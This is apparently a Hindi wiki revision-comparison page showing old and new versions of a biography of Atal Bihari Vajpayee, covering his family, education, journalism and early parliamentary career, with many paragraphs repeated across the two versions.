"अटल बिहारी वाजपेयी" के अवतरणों में अंतर

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|कार्य काल='''प्रधानमंत्री'''-16 मई 1996 – 1 जून 1996 और 19 मार्च 1998 – 19 मई 2004; '''विदेश मंत्री-''' 26 मार्च 1977 – 28 जुलाई 1979
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|अन्य जानकारी=अटल बिहारी वाजपेयी ने विज्ञान और तकनीक की प्रगति के साथ देश का भविष्य जोड़ा। उन्होंने परमाणु शक्ति को देश के लिए आवश्यक बताकर [[11 मई]], [[1998]] को पोखरन में पाँच परमाणु परीक्षण किए।
 
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'''अटल बिहारी वाजपेयी''' ([[अंग्रेज़ी]]: ''Atal Bihari Vajpayee'', जन्म- [[25 दिसंबर]], [[1924]], [[ग्वालियर]]; मृत्यु- [[16 अगस्त]], [[2018]], [[नई दिल्ली]]) का नाम [[भारत]] के सर्वाधिक लोकप्रिय [[प्रधानमंत्री|प्रधानमंत्रियों]] में लिया जाता है। [[नरसिम्हा राव]] के बाद [[1996]] में अटल बिहारी वाजपेयी मात्र 13 दिन के लिए ही प्रधानमंत्री बने। इसके बाद [[1998]] में हुए चुनावों के माध्यम से वह दोबारा प्रधानमंत्री बने। इस कारण [[1996]] और [[1998]] के मध्य बने दो प्रधानमंत्रियों-[[एच. डी. देवगौड़ा]] तथा [[इन्द्र कुमार गुजराल]] को आगे स्थान दिया गया है। तत्पश्चात् अटल बिहारी वाजपेयी [[अक्टूबर]], [[1999]] में पुन: प्रधानमंत्री बने और यह कार्यकाल उन्होंने अत्यन्त सफलतापूर्वक पूर्ण किया। इसके पूर्व वह [[अप्रैल]], [[1999]] से [[अक्टूबर]], 1999 तक [[कार्यवाहक प्रधानमंत्री]] भी रहे।  
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==संक्षिप्त परिचय==
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* [[25 दिसंबर]], [[1924]] को [[ग्वालियर]] में जन्म हुआ। अंग्रेज़ी राज के ख़िलाफ़ [[भारत छोड़ो आंदोलन]] (1942-45) के दौर से राजनीतिक सफर शुरू किया।
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* [[राष्ट्रीय स्वयंसेवक संघ]] की [[पत्रिका]] निकालने के लिए वकालत की पढ़ाई छोड़ी।
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* [[भारतीय जनसंघ]] के संस्थापक [[श्यामा प्रसाद मुखर्जी]] के निकट रहे। [[1953]] में कश्मीर मसले पर मुखर्जी के आंदोलन के दौरान वह उनके साथ थे।
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*  श्यामा प्रसाद मुखर्जी की जेल में असमय मृत्यु का वाजपेयी पर गहरा असर पड़ा था। उसके बाद जनसंघ की कमान संभाली।
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* [[भाजपा]] का उदार चेहरा कहा गया। पिछली सदी के अंतिम दशक में भाजपा को राजनीति के केंद्र में लाने में अहम योगदान दिया।
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* [[1957]] में पहली बार [[लोकसभा]] पहुंचे।
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* सर्वाधिक समय तक गैरकांग्रेसी प्रधानमंत्री रहने वाले एकमात्र राजनेता हैं।
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* [[भारत]] और [[पाकिस्तान]] के बीच तल्ख रिश्तों को सुधारने का प्रयास किया। [[1999]] में लाहौर बस यात्रा की।
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* चार दशक तक विपक्ष में रहने के बाद [[1996]] में पहली बार प्रधानमंत्री बने, लेकिन 13 दिन तक ही रह पाए। [[1998]] में दूसरी बार 13 महीने की सरकार [[जयललिता]] के समर्थन वापस लेने के कारण गिरी। [[1999]] में तीसरी बार प्रधानमंत्री रहे और कार्यकाल पूरा किया।
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* [[1998]] में पोखरण परीक्षण करके दृढ़ नेतृत्व का परिचय दिया और विश्व को भारत की परमाणु क्षमता का अहसास कराया।
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* [[जवाहरलाल नेहरू]] के बाद इनको देश का दूसरा स्टेट्समैन कहा गया।
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* इनकी सादगी, नैतिकता और उच्च आदर्शो का लोहा विपक्षी भी मानते हैं।
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* राजनीति में अमूल्य योगदान के लिए [[भारत सरकार]] ने इन्हें [[भारत]] के सर्वोच्च नागरिक सम्मान [[भारत रत्न]] से सम्मानित किया। इसके अतिरिक्त ये [[पद्म विभूषण]] से भी सम्मानित हैं।
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[[भारत]] के दसवें [[प्रधानमंत्री]] के रूप में श्री अटल बिहारी वाजपेयी (जन्म- [[25 दिसंबर]], [[1924]]) प्रथम बार केवल 13 दिन के लिए अपने पद पर रह पाए। भारतीय प्रधानमंत्रियों में उनका कार्यकाल सबसे संक्षिप्त रहा। लेकिन वह बाद में लम्बे समय के लिए प्रधानमंत्री बने और अपना कार्यकाल भी पूर्ण किया। इनका नाम भारत के सर्वाधिक लोकप्रिय प्रधानमंत्रियों में सम्मिलित किया जाता है। श्री [[नरसिम्हा राव]] के बाद [[1996]] में अटल बिहारी वाजपेयी मात्र 13 दिन के लिए ही प्रधानमंत्री बने, लेकिन वह कार्यकाल भी प्रधानमंत्री कार्यकाल के रूप में जाना जाता है। इसके बाद [[1998]] में हुए चुनावों के माध्यम से वह दोबारा प्रधानमंत्री बने। इस कारण [[1996]] और [[1998]] के मध्य बने दो प्रधानमंत्रियों-[[एच. डी. देवगौड़ा]] तथा [[इन्द्र कुमार गुजराल]] को आगे स्थान दिया गया है। तत्पश्चात् अटल बिहारी वाजपेयी अक्टूबर, [[1999]] में पुन: प्रधानमंत्री बने और यह कार्यकाल उन्होंने अत्यन्त सफलतापूर्वक पूर्ण किया। इसके पूर्व वह अप्रैल 1999 से अक्टूबर 1999 तक कार्यवाहक प्रधानमंत्री भी रहे।  
 
 
==जन्म एवं परिवार==
 
==जन्म एवं परिवार==
अटल बिहारी वाजपेयी का जन्म [[25 दिसम्बर]] (बड़ा दिन) [[1924]] को लश्कर, [[ग्वालियर]] में हुआ था, जो कि [[मध्य प्रदेश]] में है। तब कौन जानता था कि 'शिंके का बाड़ा मुहल्ले' में जन्म लेने वाला वह बालक कितना बड़ा भाग्य लेकर पैदा हुआ है। इनके पिता पंडित कृष्ण बिहारी वाजपेयी अध्यापन का कार्य करते थे और माता कृष्णा देवी घरेलू महिला थीं। श्री वाजपेयी संतान क्रम में सातवें थे। इनसे बड़े तीन भाई और तीन बहनें थीं। वह बचपन से ही अंतर्मुखी स्वभाव के थे, साथ ही साथ काफ़ी प्रतिभा सम्पन्न भी। अटल बिहारी वाजपेयी के बड़े भाइयों को अवध बिहारी वाजपेयी, सदा बिहारी वाजपेयी तथा प्रेम बिहारी वाजपेयी के नाम से जाना जाता है।
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अटल बिहारी वाजपेयी का जन्म [[25 दिसम्बर]] (बड़ा दिन) [[1924]] को लश्कर, [[ग्वालियर]] में हुआ था, जो कि [[मध्य प्रदेश]] में है। 'शिंके का बाड़ा मुहल्ले' में जन्म लेने वाला यह बालक कितना बड़ा भाग्य लेकर पैदा हुआ। इनके [[पिता]] 'पंडित कृष्ण बिहारी वाजपेयी' अध्यापन का कार्य करते थे और [[माता]] 'कृष्णा देवी' घरेलू महिला थीं। श्री वाजपेयी संतान क्रम में सातवें थे। इनसे बड़े तीन भाई और तीन बहनें थीं। वह बचपन से ही अंतर्मुखी स्वभाव के थे, साथ ही काफ़ी प्रतिभा सम्पन्न भी थे। अटल बिहारी वाजपेयी के बड़े भाइयों को 'अवध बिहारी वाजपेयी', 'सदा बिहारी वाजपेयी' तथा 'प्रेम बिहारी वाजपेयी' के नाम से जाना जाता है।
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====विद्यार्थी जीवन====
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अटल बिहारी वाजपेयी के पिता पंडित कृष्ण बिहारी वाजपेयी शिक्षण व्यवसाय से सम्बन्धित थे, इस कारण इन्हें कई स्थानों पर रहना पड़ता था। लेकिन अटलजी की आरम्भिक शिक्षा 'बड़नगर' के 'गोरखी विद्यालय' में सम्पन्न हुई। बड़नगर में इनके पिता प्रधानाध्यापक के पद पर थे। इस विद्यालय में अटलजी ने आठवीं कक्षा तक की शिक्षा प्राप्त की। वक्ता के रूप में इन्हें इसी विद्यालय से पहचान प्राप्त हुई थी। जब वह कक्षा पाँच में थे तब पाठ्येतर गतिविधियों के अंतर्गत उन्होंने प्रथम बार भाषण दिया था। लेकिन बड़नगर में उच्च शिक्षा व्यवस्था न होने के कारण अटल जी को ग्वालियर जाना पड़ा। इनका नामांकन 'विक्टोरिया कॉलेजियट स्कूल' में हुआ। नौवीं कक्षा से इंटरमीडिएट तक की पढ़ाई अटल जी ने इसी विद्यालय से पूर्ण की। इस विद्यालय में रहते हुए उनकी वाद-विवाद सम्बन्धी प्रतिभा को उचित प्रवाह प्राप्त हुआ। वह वाद-विवाद प्रतियोगिताओं में प्रथम भी आए। [[महात्मा रामचन्द्र वीर]] द्वारा रचित अमर कृति "विजय पताका" पढकर अटल जी के जीवन की दिशा ही बदल गयी।
  
==विद्यार्थी जीवन==
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इंटरमीडिएट करने के बाद अटल जी ने 'विक्टोरिया कॉलेज'<ref> जो कि बाद में रानी लक्ष्मीबाई कॉलेज के नाम से जाना गया</ref> में स्नातक स्तर की शिक्षा ग्रहण करने के लिए प्रवेश लिया। स्नातक स्तर की शिक्षा हेतु उन्होंने तीनों विषय [[भाषा]] पर आधारित लिए जो [[संस्कृत]], [[हिन्दी]] एवं [[अंग्रेज़ी]] थे। अटल जी की साहित्यिक प्रकृति थी, जिससे वह तीनों भाषाओं के प्रति आकृष्ट हुए। कॉलेज जीवन में ही इन्होंने राजनीतिक गतिविधियों में हिस्सा लेना आरम्भ कर दिया था। शुरू में वह 'छात्र संगठन' से जुड़े। नारायण राव तरटे ने इन्हें काफ़ी प्रभावित किया, जो [[राष्ट्रीय स्वयं सेवक संघ]] के प्रमुख कार्यकर्ता थे। ग्वालियर में रहते हुए अटल बिहारी वाजपेयी ने राष्ट्रीय स्वयं सेवक संघ के शाखा प्रभारी के रूप में अपने दायित्वों की पूर्ति की। कॉलेज जीवन में उन्होंने कविताओं की रचना करना आरम्भ कर दिया था। इनकी साहित्यिक अभिरुचि उसी समय काफ़ी परवान चढ़ी। इनके कॉलेज में अखिल भारतीय स्तर के कवि सम्मेलनों का भी आयोजन होता था। इस कारण से कविता की गहराई समझने में इन्हें काफ़ी मदद मिली। [[1943]] में वाजपेयी जी कॉलेज यूनियन के सचिव रहे और [[1944]] में उपाध्यक्ष भी बने। ग्वालियर की स्नातक उपाधि प्राप्त करने के बाद अटलजी [[कानपुर]] आ गए ताकि राजनीति विज्ञान में स्नातकोत्तर स्तर की शिक्षा प्राप्त कर सकें। वहाँ उन्होंने एम. ए. तथा एलएल. बी. में एक साथ प्रवेश लिया। चूंकि स्नातक परीक्षा इन्होंने प्रथम श्रेणी में उत्तीर्ण की थी, इस कारण इन्हें छात्रवृत्ति भी प्राप्त हो रही थी। कानपुर के डी. ए. वी. महाविद्यालय से इन्होंने कला में स्नातकोत्तर उपाधि भी प्रथम श्रेणी में प्राप्त की।
अटल बिहारी वाजपेयी के पिता पंडित कृष्ण बिहारी वाजपेयी शिक्षण व्यवसाय से सम्बन्धित थे, इस कारण इन्हें कई स्थानों पर रहना पड़ता था। लेकिन अटलजी की आरम्भिक शिक्षा [[बड़नगर]] के गोरखी विद्यालय में सम्पन्न हुई। बड़नगर में इनके पिता प्रधानाध्यापक के पद पर थे। इस विद्यालय में अटलजी ने आठवीं कक्षा तक की शिक्षा प्राप्त की। वक्ता के रूप में इन्हें इसी विद्यालय से पहचान प्राप्त हुई थी। जब वह कक्षा पाँच में थे तब पाठ्येतर गतिविधियों के अंतर्गत उन्होंने प्रथम बार भाषण दिया था। लेकिन बड़नगर में उच्च शिक्षा व्यवस्था न होने के कारण अटलजी को ग्वालियर जाना पड़ा। इनका नामांकन विक्टोरिया कॉलेजियट स्कूल में हुआ। नौवीं कक्षा से इंटरमीडिएट तक की पढ़ाई अटलजी ने इसी विद्यालय से पूर्ण की। इस विद्यालय में रहते हुए उनकी वाद-विवाद सम्बन्धी प्रतिभा को उचित प्रवाह प्राप्त हुआ। वह वाद-विवाद प्रतियोगिताओं में प्रथम भी आए।
 
 
 
इंटरमीडिएट करने के बाद अटलजी ने विक्टोरिया कॉलेज (जो कि बाद में रानी लक्ष्मीबाई कॉलेज के नाम से जाना गया) में स्नातक स्तर की शिक्षा ग्रहण करने के लिए प्रवेश लिया। स्नातक स्तर की शिक्षा हेतु उन्होंने तीनों विषय भाषा पर आधारित लिए जो संस्कृत, हिन्दी एवं अंग्रेज़ी थे। अटलजी की साहित्यिक प्रकृति थी, जिससे वह तीनों भाषाओं के प्रति आकृष्ट हुए। कॉलेज जीवन में ही इन्होंने राजनीतिक गतिविधियों में हिस्सा लेना आरम्भ कर दिया था। शुरू में वह छात्र संगठन से जुड़े। नारायण राव तरटे ने इन्हें काफ़ी प्रभावित किया, जो राष्ट्रीय स्वयं सेवक संघ के प्रमुख कार्यकर्ता थे। ग्वालियर में रहते हुए अटल बिहारी वाजपेयी ने राष्ट्रीय स्वयं सेवक संघ के शाखा प्रभारी के रूप में अपने दायित्वों की पूर्ति की। कॉलेज जीवन में उन्होंने कविताओं की रचना करना आरम्भ कर दिया था। इनकी साहित्यिक अभिरुचि उसी समय काफ़ी परवान चढ़ी। इनके कॉलेज में अखिल भारतीय स्तर के कवि सम्मेलनों का भी आयोजन होता था। इस कारण से कविता की गहराई समझने में इन्हें काफ़ी मदद मिली। [[1943]] में वाजपेयी जी कॉलेज यूनियन के सचिव रहे और [[1944]] में उपाध्यक्ष भी बने। ग्वालियर की स्नातक उपाधि प्राप्त करने के बाद अटलजी [[कानपुर]] आ गए ताकि राजनीति विज्ञान में स्नातकोत्तर स्तर की शिक्षा प्राप्त कर सकें। वहाँ उन्होंने एम. ए. तथा एल. एल. बी. में एक साथ प्रवेश लिया। चूंकि स्नातक परीक्षा इन्होंने प्रथम श्रेणी में उत्तीर्ण की थी, इस कारण इन्हें छात्रवृत्ति भी प्राप्त हो रही थी। इस प्रकार कानपुर के डी. ए. वी. महाविद्यालय से इन्होंने कला में स्नातकोत्तर उपाधि भी प्रथम श्रेणी में प्राप्त की।
 
 
==व्यावसायिक जीवन==
 
==व्यावसायिक जीवन==
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शिक्षक पिता की संतान होने के कारण अटल जी शिक्षा का महत्त्व अच्छी तरह से जानते थे। इस कारण पी. एच. डी. करने के लिए वह [[लखनऊ]] चले गए और वक़ालत की पढ़ाई स्थगित कर दी। पढ़ाई के साथ-साथ वह राष्ट्रीय स्वयं सेवक संघ के कार्यों का भी सम्पादन करने लगे। लेकिन अटलजी पी. एच. डी. करने में सफलता प्राप्त नहीं कर सके, क्योंकि [[पत्रकारिता]] से जुड़ने के कारण इन्हें अध्ययन के लिए समय नहीं मिल रहा था। उन दिनों 'राष्ट्रधर्म' नामक समाचार पत्र [[पंडित दीनदयाल उपाध्याय]] के सम्पादन में लखनऊ से मुद्रित हो रहा था। तब श्री अटल बिहारी वाजपेयी इसके सह सम्पादक के रूप में नियुक्त किए गए। पंडित दीनदयाल उपाध्याय इस [[समाचार पत्र]] का सम्पादकीय स्वयं लिखते थे और अख़बार का बाक़ी कार्य अटल जी एवं इनके सहायक करते थे। लेकिन सही मायने में अटल जी ही इसके सम्पादक थे। अटल जी के आने के बाद 'राष्ट्रधर्म' समाचार पत्र का प्रसार काफ़ी बढ़ गया। ऐसे में इसके लिए स्वयं की प्रेस का प्रबन्ध किया गया। इस प्रेस का नाम '''भारत प्रेस''' रखा गया था।
शिक्षक पिता की संतान होने के कारण अटलजी शिक्षा का महत्व अच्छी तरह से जानते थे। इस कारण पी. एच. डी. करने के लिए वह [[लखनऊ]] चले गए और वक़ालत की पढ़ाई स्थगित कर दी। पढ़ाई के साथ-साथ वह राष्ट्रीय स्वयं सेवक संघ के कार्यों का भी सम्पादन करने लगे। लेकिन अटलजी पी. एच. डी. करने में सफलता प्राप्त नहीं कर सके, क्योंकि पत्रकारिता से जुड़ने के कारण इन्हें अध्ययन के लिए समय नहीं मिल रहा था। उन दिनों राष्ट्रधर्म नामक समाचार पत्र पंडित दीनदयाल उपाध्याय के सम्पादन में लखनऊ से मुद्रित हो रहा था। तब श्री अटल बिहारी वाजपेयी इसके सह सम्पादक के रूप में नियुक्त किए गए। पंडित दीनदयाल उपाध्याय इस समाचार पत्र का सम्पादकीय स्वयं लिखते थे और अख़बार का बाक़ी कार्य अटलजी एवं इनके सहायक करते थे। लेकिन सही मायने में अटलजी ही इसके सम्पादक थे। अटलजी के आने के बाद 'राष्ट्रधर्म' समाचार पत्र का प्रसार काफ़ी बढ़ गया। ऐसे में इसके लिए स्वयं की प्रेस का प्रबन्ध किया गया। इस प्रेस का नाम '''भारत प्रेस''' रखा गया था।
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[[चित्र:A.b.vajpayee-united-nations.jpg|thumb|left|अटल बिहारी वाजपेयी संयुक्त राष्ट्र सभा में भाषण देते हुए]]
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कुछ समय के बाद 'भारत प्रेस' से मुद्रित होने वाला दूसरा समाचार पत्र 'पाँचजन्य' भी प्रकाशित होने लगा। इस समाचार पत्र का सम्पादन पूर्ण रूप से अटलजी करते थे। देश आज़ाद हो गया था। कुछ समय के बाद [[30 जनवरी]] [[1948]] को [[महात्मा गांधी]] की हत्या हुई। [[नाथूराम गोडसे]] का सम्बन्ध राष्ट्रीय स्वयं सेवक संघ से होने के कारण भारत सरकार ने राष्ट्रीय स्वयं सेवक संघ को प्रतिबन्धित कर दिया। चूंकि 'भारत प्रेस' भी राष्ट्रीय स्वयं सेवक संघ के प्रभाव क्षेत्र में थी, इसीलिए भारत प्रेस को बन्द कर दिया गया। लेकिन अटल जी को अब पत्रकारिता में अत्यन्त आनन्द आने लगा था। इस कारण वह [[इलाहाबाद]] चले गए और उन्होंने 'क्राइसिस टाइम्स' नामक अंग्रेज़ी साप्ताहिक के लिए अपनी सेवाएँ देना आरम्भ कर दिया। परन्तु 'क्राइसिस टाइम्स' का साथ 'क्राइसिस' रहने तक ही था। जब राष्ट्रीय स्वयं सेवक संघ पर लगा प्रतिबंध हटा तो वह 'क्राइसिस टाइम्स' भी गुज़र गया। अटल जी पुन: लखनऊ लौटे और उनके सम्पादन में 'स्वदेश' नामक दैनिक पत्र निकलना आरम्भ हो गया। थोड़े ही दिनों में जहाँ 'स्वदेश' लोकप्रिय हुआ, वहीं अटल जी के सम्पादकीय भी काफ़ी सराहे गए और चर्चा का केन्द्र बने। लेकिन लगातार होने वाली हानि के कारण 'स्वदेश' को बंद कर देना पड़ा। तब अटल जी [[दिल्ली]] से प्रकाशित होने वाले समाचार पत्र 'वीर अर्जुन' का सम्पादन करने लगे। यह दैनिक एवं साप्ताहिक दोनों आधार पर प्रकाशित हो रहा था। 'वीर अर्जुन' का सम्पादन करने हुए एक पत्रकार के रूप में इन्हें काफ़ी प्रतिष्ठा और सम्मान मिला। अत: राजनेता से पूर्व अटल जी को एक कवि और पत्रकार के रूप में मान्यता प्राप्त हो गई थी।
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==राजनीतिक जीवन==
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'राष्ट्रीय स्वयं सेवक संघ' (आर. एस. एस.) हिन्दुत्ववादी विचारधारा की प्रमुख संस्था है लेकिन भारत सरकार की नज़र में वह अलागववादी विचारधारा का पोषण कर रही थी। इस कारण आर. एस. एस. पर कई प्रकार के राजनयिक प्रतिबन्ध लगा दिए गए। ऐसे में आर. एस. एस. ने [[भारतीय जनसंघ]] का गठन किया जो राजनीतिक विचारधारा वाला दल था। भारतीय जनसंघ का जन्म संघ परिवार की राजनीतिक संस्था के रूप में हुआ, जिसके अध्यक्ष [[श्यामा प्रसाद मुखर्जी|डॉ. श्यामा प्रसाद मुखर्जी]] थे। अटल जी उस समय से ही इस संस्था के संगठनात्मक ढाँचे से जुड़ गए। तब वह अध्यक्ष के निजी सचिव के रूप में दल का कार्य देख रहे थे। इस कारण उन्हें जनसंघ के सबसे पुराने व्यक्तियों में एक माना जाता है। भारतीय जनसंघ ने सर्वप्रथम [[1952]] के आम चुनावों में भाग लिया। तब उसका चुनाव चिह्न 'दीपक' था। चुनावों में भारतीय जनसंघ को कोई विशेष कामयाबी प्राप्त नहीं हुई, फिर भी डॉक्टर श्यामा प्रसाद मुखर्जी राष्ट्रीय हित में कार्य करते रहे। उस समय भी [[कश्मीर]] का मामला अत्यन्त संवेदनशील था। डॉक्टर श्यामा प्रसाद मुखर्जी ने अटल जी के साथ [[जम्मू-कश्मीर]] के लोगों को जागरूक करने का कार्य किया। वह [[कश्मीर]] के हिन्दुओं को अपने अधिकारों के लिए जाग्रत कर रहे थे। लेकिन सरकार ने इसे साम्प्रदायिक गतिविधि मानते हुए डॉक्टर मुखर्जी को गिरफ्तार करके जेल में ठूँस दिया। डॉक्टर मुखर्जी की [[23 जून]] [[1953]] को जेल में ही मृत्यु हो गई। तब जनसंघ के समर्थकों ने उनकी मृत्यु को एक गहरी साज़िश मानते हुए इसे हत्या क़रार दिया।
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====दूसरा आम चुनाव====
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अब भारतीय जनसंघ का काम अटल जी प्रमुख रूप से देखने लगे। इन पर राजनीतिक रंग पूरी तरह से हावी हो चुका था। तभी दूसरा आम चुनाव आ गया। [[1957]] के इन चुनावों में भारतीय जनसंघ को चार स्थानों पर विजय प्राप्त हुई। अटल जी पहली बार [[बलरामपुर]] सीट से विजयी होकर [[लोकसभा]] में पहुँचे। 1957 में लोकसभा चुनाव हेतु अटल जी ने तीन स्थानों से नामांकन पत्र दाख़िल किया था। बलरामपुर के अलावा उन्होंने लखनऊ और [[मथुरा]] से भी पर्चे भरे थे। बलरामपुर एक रियासत थी। जिसका आज़ादी के बाद [[उत्तर प्रदेश]] राज्य में विलय कर दिया गया था। वहाँ राष्ट्रीय स्वयं सेवक संघ का अच्छा दबदबा था। 'प्रताप नारायण तिवारी' ने यहाँ जनसंघ के लिए दृढ़ आधार तैयार किया था। चूंकि बलरामपुर कभी रियासत थी, इस कारण रजवाड़ों का भी यहाँ दबदबा था। रजवाड़े [[कांग्रेस]] से नाराज़ थे, क्योंकि आज़ादी के बाद वे अपना स्वतंत्र अस्तित्व बनाये रखना चाहते थे। यही कारण है कि बलरामपुर की सीट कांग्रेस के बजाए जनसंघ की झोली में चली गई और अटल जी प्रथम बार [[लोकसभा]] में पहुँचे। वह इस चुनाव में 10 हज़ार मतों से विजय हुए थे। लेकिन अटल जी बाक़ी दो स्थानों पर हार गए। मथुरा में वह अपनी ज़मानत भी नहीं बचा पाए और लखनऊ में साढ़े बारह हज़ार मतों से पराजय स्वीकार करनी पड़ी। दोनों स्थानों पर कांग्रेस के उम्मीदवारों की विजय हुई थी। उस समय किसी भी पार्टी के लिए यह आवश्यक था कि वह कम से कम तीन प्रतिशत वोट प्राप्त करे अन्यथा उस पार्टी की मान्यता समाप्त की जा सकती थी। भारतीय जनसंघ को 6 प्रतिशत वोट प्राप्त हुए थे। इन चुनावों में '[[हिन्दू महासभा]]' और 'रामराज्य परिषद्' जैसी पार्टियों की मान्यता समाप्त हो गई, क्योंकि उन्हें तीन प्रतिशत वोट नहीं मिले थे।
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[[चित्र:Atal-Bihari-Vajpayee-2.jpg|thumb|250px|अटल बिहारी वाजपेयी और अमेरिका के राष्ट्रपति जिमी कार्टर]]
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====कश्मीर मुद्दे पर विचार====
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अटलजी ने [[संसद]] में पहुँचने के पश्चात् कश्मीर मुद्दे पर अपने विचार प्रकट किए और संसद ने उन्हें बेहद ध्यान से सुना। अटल जी ने कहा कि 'कश्मीर का मामला 'संयुक्त राष्ट्र संघ' में नहीं भेजा जाना चाहिए था, क्योंकि वहाँ से कोई समाधान नहीं प्राप्त होगा। [[भारत]] को अपने स्तर पर ही प्रयास करके [[पाकिस्तान]] के अधिकार वाले कश्मीर के विषय में सोचना होगा।' अटल जी का यह अनुमान आज भी सत्य है कि संयुक्त राष्ट्र संघ ने कश्मीर समस्या का समाधान आज तक नहीं खोजा है। अटल जी का तर्क था कि कश्मीर में पाकिस्तान हमलावर था, अत: राष्ट्र संघ को त्वरित कार्रवाई करनी चाहिए थी। कश्मीर का मामला संयुक्त राष्ट्र संघ में भेजना एक ऐतिहासिक भूल थी। भारत को चाहिए था कि वह हमलावर को अपनी ज़मीन से हटा देता और इसके लिए आवश्यक सैनिक कार्रवाई करता।
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====1962 के आम चुनाव====
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अटलजी ने संसद में अपनी एक अलग पहचान बना ली थी। [[1962]] के आम चुनाव में वह पुन: बलरामपुर की सीट से भारतीय जनसंघ के टिकट पर खड़े हुए लेकिन उनकी इस बार पराजय हुई। इस चुनाव में कांग्रेसी उम्मीदवार को 1052 वोटों से विजय प्राप्त हुई। अटल जी की [[संसद]] में प्रशंसनीय कार्य करने के बाद भी जीत नहीं हुई। यह चुनाव इस कारण भी विवादास्पद रहा कि कांग्रेस प्रत्याशी ने उचित-अनुचित सभी प्रकार के पैंतरे अपनाए थे। इस चुनाव के दौरान साम्प्रदायिक सौहार्द्र भी बिगड़ा। इस कारण भयवश हज़ारों हिन्दू नारियों ने अपने मताधिकारों का प्रयोग नहीं किया। 1962 के चुनाव में जनसंघ ने प्रगति की और संसद में उसके 14 प्रतिनिधि पहुँचने में सफल रहे। इस संख्या के आधार पर [[राज्यसभा]] के लिए जनसंघ को दो सदस्य मनोनीत करने का अधिकार प्राप्त हुआ। ऐसे में अटल बिहारी वाजपेयी और [[पंडित दीनदयाल उपाध्याय]] राज्यसभा में भेजे गए। चूंकि [[राष्ट्रपति]] ही राज्यसभा का पदेन सभापति होता है, इस कारण [[सर्वपल्ली राधाकृष्णन]] सभापति थे। उन्होंने अटल जी को राज्यसभा की प्रथम दीर्घा में बैठने को अनुप्रेरित किया। अटल जी ने राज्यसभा में भी अपने दायित्वों का निर्वहन योग्यता के साथ किया। इस कार्यकाल के दौरान राष्ट्रपति [[डॉक्टर राजेन्द्र प्रसाद]] और प्रधानमंत्री [[पंडित जवाहरलाल नेहरू]] की मृत्यु हुई। अटलजी ने अनूठी भाषा-शैली में उन्हें श्रद्धांजलि अर्पित की। दोनों श्रद्धांजलियों को राज्यसभा के पटल पर सुरक्षित रखा गया।
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====चौथे आम चुनाव====
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चौथे आम चुनाव [[1967]] में सम्पन्न हुए। अटलजी पुन: बलरामपुर की सीट से प्रत्याशी बने। उन्होंने [[कांग्रेस]] के प्रत्याशी को लगभग 32 हज़ार वोटों से हराया। अपने इस कार्यकाल में अटल जी ने यह साबित कर दिया कि वह धर्मनिरपेक्षता के पूर्ण समर्थक हैं तथा धर्म और राजनीति का सम्मिश्रण नहीं चाहते। काहिरा में आयोजित हुए इस्लामी सम्मेलन के बारे में उन्होंने कहा कि अंतर्राष्ट्रीय स्तर पर मज़हबी कट्टरता का पोषण नहीं होना चाहिए। ऐसे सम्मेलन विश्व बंधुत्व के आधार पर होने चाहिए। अटल बिहारी वाजपेयी ने मज़हबी आधार पर गुट बनाने की प्रवृत्ति को ख़तरनाक बताया और [[भारत सरकार]] को भी इस बारे में आगाह किया। '[[धारा 370]]' के अंतर्गत कश्मीर को जो विशिष्ट दर्जा प्रदान किया गया था, उन्होंने उसका भी विरोध किया और 'धारा 370' समाप्त करने की मांग की। इसके अतिरिक्त उन्होंने भारत सरकार से यह मांग की कि कश्मीर में रोज़गार के साधन उपलब्ध कराए जाएँ और शिक्षा के स्तर में वृद्धि हो।
  
कुछ समय के बाद 'भारत प्रेस' से मुद्रित होने वाला दूसरा समाचार पत्र 'पाँचजन्य' भी प्रकाशित होने लगा। इस समाचार पत्र का सम्पादन पूर्ण रूप से अटलजी करते थे। देश आज़ाद हो गया था। कुछ समय के बाद [[30 जनवरी]] [[1948]] को [[महात्मा गांधी]] की हत्या हुई। [[नाथूराम गोडसे]] का सम्बन्ध राष्ट्रीय स्वयं सेवक संघ से होने के कारण भारत सरकार ने राष्ट्रीय स्वयं सेवक संघ को प्रतिबन्धत कर दिया। चूंकि 'भारत प्रेस' भी राष्ट्रीय स्वयं सेवक संघ के प्रभाव क्षेत्र में थी, इसीलिए भारत प्रेस को बन्द कर दिया गया। लेकिन अटल जी को अब पत्रकारिता में अत्यन्त आनन्द आने लगा था। इस कारण वह [[इलाहाबाद]] चले गए और उन्होंने 'क्राइसिस टाइम्स' नामक अंग्रेज़ी साप्ताहिक के लिए अपनी सेवाएँ देना आरम्भ कर दिया। परन्तु 'क्राइसिस टाइम्स' का साथ 'क्राइसिस' रहने तक ही था। जब राष्ट्रीय स्वयं सेवक संघ पर लगा प्रतिबंध हटा तो वह 'क्राइसिस टाइम्स' भी गुज़र गया। अटलजी पुन: लखनऊ लौटे और उनके सम्पादन में 'स्वदेश' नामक दैनिक पत्र निकलना आरम्भ हो गया। थोड़े ही दिनों में जहाँ 'स्वदेश' लोकप्रिय हुआ, वहीं अटलजी के सम्पादकीय भी काफ़ी सराहे गए और चर्चा का केन्द्र बने। लेकिन लगातार होने वाली हानि के कारण 'स्वदेश' को बंद कर देना पड़ा। तब अटलजी [[दिल्ली]] से प्रकाशित होने वाले समाचार पत्र 'वीर अर्जुन' का सम्पादन करने लगे। यह दैनिक एवं साप्ताहिक दोनों आधार पर प्रकाशित हो रहा था। 'वीर अर्जुन' का सम्पादन करने हुए एक पत्रकार के रूप में इन्हें काफ़ी प्रतिष्ठा और सम्मान मिला। अत: राजनेता से पूर्व अटलजी को एक कवि और पत्रकार के रूप में मान्यता प्राप्त हो गई थी।
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इसी प्रकार विदेशी राजनीति भी अटल जी का पसंदीदा विषय थी। जब [[अमेरिका]] ने वियतनाम पर हमला किया तो उन्होंने बड़े कड़े शब्दों में निंदा की। वियतनाम को लेकर संयुक्त राष्ट्र संघ की ख़ामोशी को भी अटल जी ने अपना निशाना बनाया। उन्होंने इस युद्ध का परिणाम भी घोषित कर दिया था। अटल जी ने कहा था कि वियतनाम की जनता अपनी स्वाधीनता के लिए लड़ रही है और [[अमेरिका]] उसे युद्ध में तबाह करके अपना उपनिवेश बनाना चाहता है। अंतत: अमेरिकी फ़ौजों को वहाँ से जाना ही होगा। इस मुद्दे पर उन्होंने सटीक भविष्यवाणी की थी। उस युद्ध में वाकई अमेरिका को पराजय का सामना करना पड़ा और वियतनाम युद्ध आज भी अमेरिका के लिए एक दाग़ की भाँति है। यही नहीं, अमेरिका की जनता ने भी बाद में वियतमान युद्ध का कड़ा विरोध करना आरम्भ कर दिया था।
==राजनीतिक जीवन==
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====काव्य की रचना====
